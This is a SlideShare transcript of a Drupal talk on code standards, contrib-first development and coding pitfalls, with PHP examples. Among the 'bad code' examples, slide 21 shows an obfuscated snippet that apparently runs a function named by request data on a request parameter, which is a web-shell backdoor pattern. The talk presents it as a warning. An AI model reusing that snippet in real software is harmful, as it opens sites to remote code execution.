SlideShare a Scribd company logo
One more time about code
standards and best practices
Iryna Vedkal
Why do we need to follow?
What does mean good code quality?
● Readability
● Maintainability
● Security
● Find errors more easily
● Common development way
● Less codebase
● Less bugs
● Better organized code
Common rules for Drupal development
● Follow code standards
● Everything should be in code
● Use configuration before code
● Use contrib before custom
● Never hack core or contrib
● Avoid too many modules (keep balance between module quantity and size)
● Keep business logic separate from template layer
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
Steps to setup working environment
❏ Setup Code Sniffer - https://www.drupal.org/docs/8/modules/code-review-module/installing-coder-sniffer
❏ Install Coder - https://www.drupal.org/project/coder
❏ Setup pre-commit hooks - https://www.drupal.org/project/dcq
❏ Setup your IDE (PhpStorm, Visual Studio Code, etc)
❏ Run Code Check - https://www.drupal.org/node/1587138
❏ Setup Code Analyzer Tools (SonarQube)
Steps to follow after getting task & before coding
❏ Check is it covered with core functionality
❏ Check is it possible to reach with configuration
❏ Search for already exists decisions:
❏ Contrib modules
❏ Patches
❏ Already created code
❏ Search for alternatives that could be reused
❏ Contrib modules that have almost the same functionality
❏ Already exists solutions close to requirements
❏ Came with custom solution
❏ Approve solution with team
Contrib VS Custom
Benefits
● We do not need to develop big part of code;
● It is already covered with security policy;
● There chance that it covered with tests;
● There chance that fount bugs will be fixed with Drupal community;
● We will have all updates, bug fixes, security issues;
● We can propose to client to use additional functionality (left 60%);
● We can propose to add functionality we developed additionally to contrib module
maintainer;
● etc.
Custom VS Alternative
Custom:
● Time to develop, setup, test, bug fixes
● Found bugs should be fixed ourselves - no
other options
● All updates should be done ourselves
● Tests done only by our testers
● Need to take care about security
Alternative:
● Only time to configure & theming
● Found bugs could be fixed with Drupal
community
● Community works on updates
● Tested by community (depends on module
usage)
● Already covered with security policy
Approve solution with team
● While discussing better solution could be found;
● Teammates could know issues you will face while developing;
● Teammates could know code that you can reuse;
● No need to redevelop everything if your solution not approved;
● Better communication in team;
● etc.
Some tips & tricks for coding
1. Avoid to make potential issues to exists core functionality,
even if you not use this functionality right now
if ($userAccess == true) {
echo "<p><a href="/admin/config/search/"
class="button">Click here</a></p>";
}
Issues:
1. Language prefix will be missed for multilanguage site
2. Changes for base_path will not work
3. Page query will be missed (pager, destination, etc.)
3. Translations will not work
2. Avoid to break expected behavior
<div class="well customtoken" data-role="custom_token_container">
<a data-toggle="modal" role="button" href="#customtoken_modal" title="Set credentials."
class="link_open_customtoken">
<p class="title">API Key</p>
<div class="details">Set</div>
</a>
</div>
...
jQuery(".link_open_customtoken").unbind("click");
3. Avoid to change configurable values from module code
Exception - updates (.install)
function <mytheme>_preprocess_block(&$variables) {
if ($variables['block_html_id'] === 'block-<some name>') {
if (!user_is_logged_in()) {
$string = '<li><a href="/node/1">Node 1</a></li>';
$variables['content'] = str_replace($string, '', $variables['content']);
}
}
}
Could be - variables, links, menu items, blocks, etc.
4. Avoid to change content stored in database on display
$node->taxonomy = array('tags' => array('11' => ($data->categories)));
$node->field_contact_first_name[0]['value'] = $data->field_contact_first_name_value;
$node->field_contact_last_name[0]['value'] = $data->field_contact_last_name_value;
$node->field_contact_job_title[0]['value'] = $data->field_contact_job_title_value;
$node->field_contact_organization[0]['value'] = $data->field_contact_organization_value;
$node->field_contact_organization_r['nid']['nid'] = '463';
$node->field_contact_account_sfid[0]['value'] = $data->field_contact_account_sfid_value;
$node->field_contact_sfid[0]['value'] = $data->field_contact_sfid_value;
$node->field_contact_email_optout[0]['value'] = 'false';
$node->field_contact_phone_optout[0]['value'] = 'false';
$node->field_contact_add1_city[0]['value'] = $data->field_contact_add1_city_value;
$node->field_contact_add1_country[0]['value'] = $data->field_contact_add1_country_value;
$node->field_contact_add1_zipcode[0]['value'] = $data->field_contact_add1_zipcode_value;
5. Always keep in mind security questions
$text = t("This is !name's website", array('!name' => $username));
$text = t("This is @name's website", array('@name' => $username));
$text = t("This is %name's website", array('%name' => $username));
It depends on what you use as a placeholder:
!variable: Inserted as is. Use this for text that has already been sanitized.
@variable: Escaped to HTML using check_plain(). Use this for anything displayed on a page on the site.
%variable: Escaped as a placeholder for user-submitted content using drupal_placeholder(), which shows up
as emphasized text.
6. Avoid hardcoded values
$icon = str_replace("public://", "sites/default/files/", $icon);
$icon = "sites/all/modules/<module name>/icons/icon.png";
...
if ($userAccess == true) {
echo "<p><a href="/admin/config/search/" class="button">Click here</a></p>";
}
...
$client->request('GET', 'https://<some-external-site>/<some-very-interesting-endpoint>');
7. Avoid to create your own functions to replace exists one
function mymodule_load_nodes() {
$ournewtype = 'product';
$sql = 'SELECT nid FROM {node} n WHERE n.type = :type';
$result = db_query($sql, array(':type' => $ournewtype));
$nodeids = array();
foreach ($result as $row) {
$nodeids[] = $row->nid;
}
return $nodeids;
}
Also avoid to create your custom queries
8. Avoid very specific cases
function <mytheme>_preprocess_block(&$variables) {
if ($variables['block_html_id'] === 'block-<some name>') {
if (!user_is_logged_in()) {
$string = '<li><a href="/node/1">Node 1</a></li>';
$variables['content'] = str_replace($string, '', $variables['content']);
}
}
}
1. Specific block
2. Specific content
9. Avoid not understandable and not proper
documented code
if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
$dd = trim(preg_replace("/[^-0-9+()]/iu", "",$d));
$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
if(isset($_REQUEST['s'.md5('bgdfgt')])){
if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
}
return true;
}
return false;
$view_src = file_get_contents(VIEW_SRC_PATH . $this->full_name . EXT);
// echo
$view_src = preg_replace("/{{(w+)}}/", "<?php echo $$1; ?>", $view_src);
$view_src = preg_replace("/{{(w+)|(w+)}}/", "<?php echo $$1['$2']; ?>", $view_src);
$view_src = preg_replace("/{{(w+).(w+)}}/", "<?php echo $$1->$2; ?>", $view_src);
// foreach
$view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+)-->/", "<?php foreach($$2 as $$1): ?>", $view_src);
$view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+)|(w+)-->/", "<?php foreach($$2['$3'] as $$1): ?>", $view_src);
$view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+).(w+)-->/", "<?php foreach($$2->$3 as $$1): ?>", $view_src);
$view_src = preg_replace("/<!--eachs+(w+)s+(w+)s+ins+(w+).(w+)-->/", "<?php foreach($$3->$4 as $$1 => $$2):
?>", $view_src);
$view_src = preg_replace("/<!--eachs+(w+)s+(w+)s+ins+(w+)-->/", "<?php foreach($$3 as $$1 => $$2): ?>",
$view_src);
$view_src = preg_replace("/<!--each-->/", "<?php endforeach; ?>", $view_src);
// switch
$view_src = preg_replace("/<!--selects+(w+).(w+)-->s*<!--whens+(.+)-->/", "<?php switch($$1->$2): case $3: ?>",
$view_src);
$view_src = preg_replace("/<!--whens+(.+)-->/", "<?php break; ?><?php case $1: ?>", $view_src);
$view_src = preg_replace("/<!--otherwise-->/", "<?php break; ?><?php default: ?>", $view_src);
$view_src = preg_replace("/<!--select-->/", "<?php endswitch; ?>", $view_src);
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
10. Avoid too many returns
switch ($operation) {
case 'view':
if (!$entity->isPublished()) {
return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'view unpublished apidoc
entities'));
}
return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'view published apidoc
entities'));
case 'update':
return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'edit apidoc entities'));
case 'delete':
return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'delete apidoc entities'));
}
Refactor already exists code
Time should be spent on:
● understand functionality
● change code
● make code review
● regression tests
Tools
● Site Audit - https://www.drupal.org/project/site_audit
● Security Review - https://www.drupal.org/project/security_review
● Online check - https://pareview.sh/
● Code Sniffer - https://www.drupal.org/docs/8/modules/code-review-module/installing-coder-sniffer
● Sonar Qube - https://www.sonarqube.org/
● etc.
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES

More Related Content

PDF
Doctrine 2
PDF
Dependency Injection in Laravel
PPT
Система рендеринга в Magento
PPTX
Let's write secure Drupal code! - DrupalCamp London 2019
PDF
Your Entity, Your Code
PDF
Drupal 8: Entities
PPT
Jquery presentation
PDF
Your code sucks, let's fix it - PHP Master Series 2012
Doctrine 2
Dependency Injection in Laravel
Система рендеринга в Magento
Let's write secure Drupal code! - DrupalCamp London 2019
Your Entity, Your Code
Drupal 8: Entities
Jquery presentation
Your code sucks, let's fix it - PHP Master Series 2012

What's hot (19)

PPTX
Meet Magento Belarus debug Pavel Novitsky (eng)
PDF
Dependency Injection
PPTX
Drupal II: The SQL
PDF
Your code sucks, let's fix it - DPC UnCon
PPT
Top Ten Web Defenses - DefCamp 2012
PDF
Autopsy Of A Widget
PDF
Your code sucks, let's fix it (CakeFest2012)
PDF
Command Bus To Awesome Town
PDF
The Beauty and the Beast
PPT
Propel sfugmd
PDF
Things I Believe Now That I'm Old
PDF
Perl object ?
PDF
購物車程式架構簡介
PDF
Caching and Scaling WordPress using Fragment Caching
PDF
Zend Framework 1 + Doctrine 2
PPTX
[PHP] Zend_Db (Zend Framework)
PDF
Top Ten Reasons to Use EntityFieldQuery in Drupal
PDF
R57shell
PDF
Drupal - dbtng 25th Anniversary Edition
Meet Magento Belarus debug Pavel Novitsky (eng)
Dependency Injection
Drupal II: The SQL
Your code sucks, let's fix it - DPC UnCon
Top Ten Web Defenses - DefCamp 2012
Autopsy Of A Widget
Your code sucks, let's fix it (CakeFest2012)
Command Bus To Awesome Town
The Beauty and the Beast
Propel sfugmd
Things I Believe Now That I'm Old
Perl object ?
購物車程式架構簡介
Caching and Scaling WordPress using Fragment Caching
Zend Framework 1 + Doctrine 2
[PHP] Zend_Db (Zend Framework)
Top Ten Reasons to Use EntityFieldQuery in Drupal
R57shell
Drupal - dbtng 25th Anniversary Edition
Ad

Similar to ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES (20)

PDF
Drupal Security from Drupalcamp Bratislava
PDF
Drupal Module Development
PDF
Drupal Module Development - OSI Days 2010
PPTX
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
PDF
Doing Drupal security right
PDF
Mojolicious
ODP
Codebits 2012 - Fast relational web site construction.
ODP
Drupal Security Hardening
ODP
Drupal Security Hardening
PPTX
Php on the Web and Desktop
PPT
Mongo-Drupal
KEY
Workshop quality assurance for php projects tek12
PDF
Drupal security
PDF
Doing Drupal security right from Drupalcon London
PDF
Staging Drupal 8 31 09 1 3
ODP
This upload requires better support for ODP format
PPTX
Let's write secure Drupal code! - DrupalCamp Oslo, 2018
ODP
Coder Presentation Szeged
PDF
The Naked Bundle - Tryout
PDF
Drupal 8: Theming
Drupal Security from Drupalcamp Bratislava
Drupal Module Development
Drupal Module Development - OSI Days 2010
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
Doing Drupal security right
Mojolicious
Codebits 2012 - Fast relational web site construction.
Drupal Security Hardening
Drupal Security Hardening
Php on the Web and Desktop
Mongo-Drupal
Workshop quality assurance for php projects tek12
Drupal security
Doing Drupal security right from Drupalcon London
Staging Drupal 8 31 09 1 3
This upload requires better support for ODP format
Let's write secure Drupal code! - DrupalCamp Oslo, 2018
Coder Presentation Szeged
The Naked Bundle - Tryout
Drupal 8: Theming
Ad

More from DrupalCamp Kyiv (20)

PDF
Speed up the site building with Drupal's Bootstrap Layout Builder
PDF
Performance Monitoring with Google Lighthouse
PPTX
Oleg Bogut - Decoupled Drupal: how to build stable solution with JSON:API, Re...
PDF
Acquia BLT for the Win, or How to speed up the project setup, development an...
PDF
Upgrading to Drupal 9
PDF
THE INTERNET OF THINGS IS GETTING REAL
PDF
FRONT-END COMPONENTS IN DRUPAL THEME. "KAIZEN" - DRUPAL 8 THEME FROM SKILLD
PDF
DRUPAL AND ELASTICSEARCH
PDF
WHAT WE LEARNED FROM OPEN SOCIAL IN 3 YEARS, MOVING FROM AN AGENCY TO A PRODU...
PDF
Blackfire Workshop
PDF
DRUPAL 8 STORAGES OVERVIEW
DOCX
1-1 MEETING: STEP-BY-STEP-HOW-TO
PPTX
UX DURING MODULE INSTALLATION AND CONFIGURATION
PDF
SWITCHING FROM QA ENGINEER TO PROJECT MANAGER - LEVEL UP OR DOWN?
PDF
TECHNOLOGIES-POWERED WEB AND THE POST-BROWSER ERA
PPTX
PROTECTED CONTENT: END-TO-END PGP ENCRYPTION FOR DRUPAL
PDF
DRUPAL AUDITS MADE FASTR
PDF
FROM DISTRO TO CUSTOM - HOW WE CREATE GREAT COMMUNITIES FOR EVERY ORGANIZATIO...
PDF
SEARCH API: TIPS AND TRICKS - FROM BEGINNING TO CUSTOM SOLUTIONS
PDF
DEVOPS & THE DEATH AND REBIRTH OF CHILDHOOD INNOCENCE
Speed up the site building with Drupal's Bootstrap Layout Builder
Performance Monitoring with Google Lighthouse
Oleg Bogut - Decoupled Drupal: how to build stable solution with JSON:API, Re...
Acquia BLT for the Win, or How to speed up the project setup, development an...
Upgrading to Drupal 9
THE INTERNET OF THINGS IS GETTING REAL
FRONT-END COMPONENTS IN DRUPAL THEME. "KAIZEN" - DRUPAL 8 THEME FROM SKILLD
DRUPAL AND ELASTICSEARCH
WHAT WE LEARNED FROM OPEN SOCIAL IN 3 YEARS, MOVING FROM AN AGENCY TO A PRODU...
Blackfire Workshop
DRUPAL 8 STORAGES OVERVIEW
1-1 MEETING: STEP-BY-STEP-HOW-TO
UX DURING MODULE INSTALLATION AND CONFIGURATION
SWITCHING FROM QA ENGINEER TO PROJECT MANAGER - LEVEL UP OR DOWN?
TECHNOLOGIES-POWERED WEB AND THE POST-BROWSER ERA
PROTECTED CONTENT: END-TO-END PGP ENCRYPTION FOR DRUPAL
DRUPAL AUDITS MADE FASTR
FROM DISTRO TO CUSTOM - HOW WE CREATE GREAT COMMUNITIES FOR EVERY ORGANIZATIO...
SEARCH API: TIPS AND TRICKS - FROM BEGINNING TO CUSTOM SOLUTIONS
DEVOPS & THE DEATH AND REBIRTH OF CHILDHOOD INNOCENCE

Recently uploaded (20)

PDF
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
PDF
Basic Mud Logging Guide for educational purpose
PDF
Computing-Curriculum for Schools in Ghana
PPTX
Lesson notes of climatology university.
PDF
Classroom Observation Tools for Teachers
PDF
Anesthesia in Laparoscopic Surgery in India
PPTX
Cell Types and Its function , kingdom of life
PPTX
Pharma ospi slides which help in ospi learning
PPTX
Introduction_to_Human_Anatomy_and_Physiology_for_B.Pharm.pptx
PPTX
PPH.pptx obstetrics and gynecology in nursing
PPTX
Institutional Correction lecture only . . .
PDF
Module 4: Burden of Disease Tutorial Slides S2 2025
PDF
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
PPTX
human mycosis Human fungal infections are called human mycosis..pptx
PDF
Complications of Minimal Access Surgery at WLH
PDF
STATICS OF THE RIGID BODIES Hibbelers.pdf
PDF
Abdominal Access Techniques with Prof. Dr. R K Mishra
PPTX
master seminar digital applications in india
PDF
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
PDF
Supply Chain Operations Speaking Notes -ICLT Program
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
Basic Mud Logging Guide for educational purpose
Computing-Curriculum for Schools in Ghana
Lesson notes of climatology university.
Classroom Observation Tools for Teachers
Anesthesia in Laparoscopic Surgery in India
Cell Types and Its function , kingdom of life
Pharma ospi slides which help in ospi learning
Introduction_to_Human_Anatomy_and_Physiology_for_B.Pharm.pptx
PPH.pptx obstetrics and gynecology in nursing
Institutional Correction lecture only . . .
Module 4: Burden of Disease Tutorial Slides S2 2025
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
human mycosis Human fungal infections are called human mycosis..pptx
Complications of Minimal Access Surgery at WLH
STATICS OF THE RIGID BODIES Hibbelers.pdf
Abdominal Access Techniques with Prof. Dr. R K Mishra
master seminar digital applications in india
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
Supply Chain Operations Speaking Notes -ICLT Program

ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES

  • 1. One more time about code standards and best practices Iryna Vedkal
  • 2. Why do we need to follow? What does mean good code quality? ● Readability ● Maintainability ● Security ● Find errors more easily ● Common development way ● Less codebase ● Less bugs ● Better organized code
  • 3. Common rules for Drupal development ● Follow code standards ● Everything should be in code ● Use configuration before code ● Use contrib before custom ● Never hack core or contrib ● Avoid too many modules (keep balance between module quantity and size) ● Keep business logic separate from template layer
  • 5. Steps to setup working environment ❏ Setup Code Sniffer - https://www.drupal.org/docs/8/modules/code-review-module/installing-coder-sniffer ❏ Install Coder - https://www.drupal.org/project/coder ❏ Setup pre-commit hooks - https://www.drupal.org/project/dcq ❏ Setup your IDE (PhpStorm, Visual Studio Code, etc) ❏ Run Code Check - https://www.drupal.org/node/1587138 ❏ Setup Code Analyzer Tools (SonarQube)
  • 6. Steps to follow after getting task & before coding ❏ Check is it covered with core functionality ❏ Check is it possible to reach with configuration ❏ Search for already exists decisions: ❏ Contrib modules ❏ Patches ❏ Already created code ❏ Search for alternatives that could be reused ❏ Contrib modules that have almost the same functionality ❏ Already exists solutions close to requirements ❏ Came with custom solution ❏ Approve solution with team
  • 8. Benefits ● We do not need to develop big part of code; ● It is already covered with security policy; ● There chance that it covered with tests; ● There chance that fount bugs will be fixed with Drupal community; ● We will have all updates, bug fixes, security issues; ● We can propose to client to use additional functionality (left 60%); ● We can propose to add functionality we developed additionally to contrib module maintainer; ● etc.
  • 9. Custom VS Alternative Custom: ● Time to develop, setup, test, bug fixes ● Found bugs should be fixed ourselves - no other options ● All updates should be done ourselves ● Tests done only by our testers ● Need to take care about security Alternative: ● Only time to configure & theming ● Found bugs could be fixed with Drupal community ● Community works on updates ● Tested by community (depends on module usage) ● Already covered with security policy
  • 10. Approve solution with team ● While discussing better solution could be found; ● Teammates could know issues you will face while developing; ● Teammates could know code that you can reuse; ● No need to redevelop everything if your solution not approved; ● Better communication in team; ● etc.
  • 11. Some tips & tricks for coding
  • 12. 1. Avoid to make potential issues to exists core functionality, even if you not use this functionality right now if ($userAccess == true) { echo "<p><a href="/admin/config/search/" class="button">Click here</a></p>"; }
  • 13. Issues: 1. Language prefix will be missed for multilanguage site 2. Changes for base_path will not work 3. Page query will be missed (pager, destination, etc.) 3. Translations will not work
  • 14. 2. Avoid to break expected behavior <div class="well customtoken" data-role="custom_token_container"> <a data-toggle="modal" role="button" href="#customtoken_modal" title="Set credentials." class="link_open_customtoken"> <p class="title">API Key</p> <div class="details">Set</div> </a> </div> ... jQuery(".link_open_customtoken").unbind("click");
  • 15. 3. Avoid to change configurable values from module code Exception - updates (.install) function <mytheme>_preprocess_block(&$variables) { if ($variables['block_html_id'] === 'block-<some name>') { if (!user_is_logged_in()) { $string = '<li><a href="/node/1">Node 1</a></li>'; $variables['content'] = str_replace($string, '', $variables['content']); } } } Could be - variables, links, menu items, blocks, etc.
  • 16. 4. Avoid to change content stored in database on display $node->taxonomy = array('tags' => array('11' => ($data->categories))); $node->field_contact_first_name[0]['value'] = $data->field_contact_first_name_value; $node->field_contact_last_name[0]['value'] = $data->field_contact_last_name_value; $node->field_contact_job_title[0]['value'] = $data->field_contact_job_title_value; $node->field_contact_organization[0]['value'] = $data->field_contact_organization_value; $node->field_contact_organization_r['nid']['nid'] = '463'; $node->field_contact_account_sfid[0]['value'] = $data->field_contact_account_sfid_value; $node->field_contact_sfid[0]['value'] = $data->field_contact_sfid_value; $node->field_contact_email_optout[0]['value'] = 'false'; $node->field_contact_phone_optout[0]['value'] = 'false'; $node->field_contact_add1_city[0]['value'] = $data->field_contact_add1_city_value; $node->field_contact_add1_country[0]['value'] = $data->field_contact_add1_country_value; $node->field_contact_add1_zipcode[0]['value'] = $data->field_contact_add1_zipcode_value;
  • 17. 5. Always keep in mind security questions $text = t("This is !name's website", array('!name' => $username)); $text = t("This is @name's website", array('@name' => $username)); $text = t("This is %name's website", array('%name' => $username)); It depends on what you use as a placeholder: !variable: Inserted as is. Use this for text that has already been sanitized. @variable: Escaped to HTML using check_plain(). Use this for anything displayed on a page on the site. %variable: Escaped as a placeholder for user-submitted content using drupal_placeholder(), which shows up as emphasized text.
  • 18. 6. Avoid hardcoded values $icon = str_replace("public://", "sites/default/files/", $icon); $icon = "sites/all/modules/<module name>/icons/icon.png"; ... if ($userAccess == true) { echo "<p><a href="/admin/config/search/" class="button">Click here</a></p>"; } ... $client->request('GET', 'https://<some-external-site>/<some-very-interesting-endpoint>');
  • 19. 7. Avoid to create your own functions to replace exists one function mymodule_load_nodes() { $ournewtype = 'product'; $sql = 'SELECT nid FROM {node} n WHERE n.type = :type'; $result = db_query($sql, array(':type' => $ournewtype)); $nodeids = array(); foreach ($result as $row) { $nodeids[] = $row->nid; } return $nodeids; } Also avoid to create your custom queries
  • 20. 8. Avoid very specific cases function <mytheme>_preprocess_block(&$variables) { if ($variables['block_html_id'] === 'block-<some name>') { if (!user_is_logged_in()) { $string = '<li><a href="/node/1">Node 1</a></li>'; $variables['content'] = str_replace($string, '', $variables['content']); } } } 1. Specific block 2. Specific content
  • 21. 9. Avoid not understandable and not proper documented code if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){ $dd = trim(preg_replace("/[^-0-9+()]/iu", "",$d)); $a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]); if(isset($_REQUEST['s'.md5('bgdfgt')])){ if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));} } return true; } return false;
  • 22. $view_src = file_get_contents(VIEW_SRC_PATH . $this->full_name . EXT); // echo $view_src = preg_replace("/{{(w+)}}/", "<?php echo $$1; ?>", $view_src); $view_src = preg_replace("/{{(w+)|(w+)}}/", "<?php echo $$1['$2']; ?>", $view_src); $view_src = preg_replace("/{{(w+).(w+)}}/", "<?php echo $$1->$2; ?>", $view_src); // foreach $view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+)-->/", "<?php foreach($$2 as $$1): ?>", $view_src); $view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+)|(w+)-->/", "<?php foreach($$2['$3'] as $$1): ?>", $view_src); $view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+).(w+)-->/", "<?php foreach($$2->$3 as $$1): ?>", $view_src); $view_src = preg_replace("/<!--eachs+(w+)s+(w+)s+ins+(w+).(w+)-->/", "<?php foreach($$3->$4 as $$1 => $$2): ?>", $view_src); $view_src = preg_replace("/<!--eachs+(w+)s+(w+)s+ins+(w+)-->/", "<?php foreach($$3 as $$1 => $$2): ?>", $view_src); $view_src = preg_replace("/<!--each-->/", "<?php endforeach; ?>", $view_src); // switch $view_src = preg_replace("/<!--selects+(w+).(w+)-->s*<!--whens+(.+)-->/", "<?php switch($$1->$2): case $3: ?>", $view_src); $view_src = preg_replace("/<!--whens+(.+)-->/", "<?php break; ?><?php case $1: ?>", $view_src); $view_src = preg_replace("/<!--otherwise-->/", "<?php break; ?><?php default: ?>", $view_src); $view_src = preg_replace("/<!--select-->/", "<?php endswitch; ?>", $view_src);
  • 24. 10. Avoid too many returns switch ($operation) { case 'view': if (!$entity->isPublished()) { return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'view unpublished apidoc entities')); } return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'view published apidoc entities')); case 'update': return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'edit apidoc entities')); case 'delete': return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'delete apidoc entities')); }
  • 25. Refactor already exists code Time should be spent on: ● understand functionality ● change code ● make code review ● regression tests
  • 26. Tools ● Site Audit - https://www.drupal.org/project/site_audit ● Security Review - https://www.drupal.org/project/security_review ● Online check - https://pareview.sh/ ● Code Sniffer - https://www.drupal.org/docs/8/modules/code-review-module/installing-coder-sniffer ● Sonar Qube - https://www.sonarqube.org/ ● etc.